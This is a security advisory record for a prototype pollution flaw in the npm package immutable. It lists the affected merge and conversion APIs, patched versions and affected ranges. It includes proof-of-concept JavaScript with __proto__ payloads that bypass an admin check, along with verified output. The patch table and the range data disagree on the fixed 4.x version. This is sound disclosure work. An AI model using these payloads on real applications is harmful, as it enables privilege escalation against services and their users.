GHSA-wf6x-7x77-mvgw

Suggest an improvement
Source
https://github.com/advisories/GHSA-wf6x-7x77-mvgw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-wf6x-7x77-mvgw
Aliases
  • CVE-2026-29063
Downstream
Related
Published
2026-03-04T21:28:06Z
Modified
2026-03-06T23:01:34.062545Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Immutable is vulnerable to Prototype Pollution
Details

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no __proto__ guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |

Patches

Has the problem been patched? What versions should users upgrade to?

| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?

Database specific
{
    "github_reviewed_at": "2026-03-04T21:28:06Z",
    "nvd_published_at": "2026-03-06T19:16:21Z",
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-1321"
    ],
    "github_reviewed": true
}
References

Affected packages

npm / immutable

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0-rc.1
Fixed
4.3.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json"

npm / immutable

Package

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.1.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json"

npm / immutable

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.8.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json"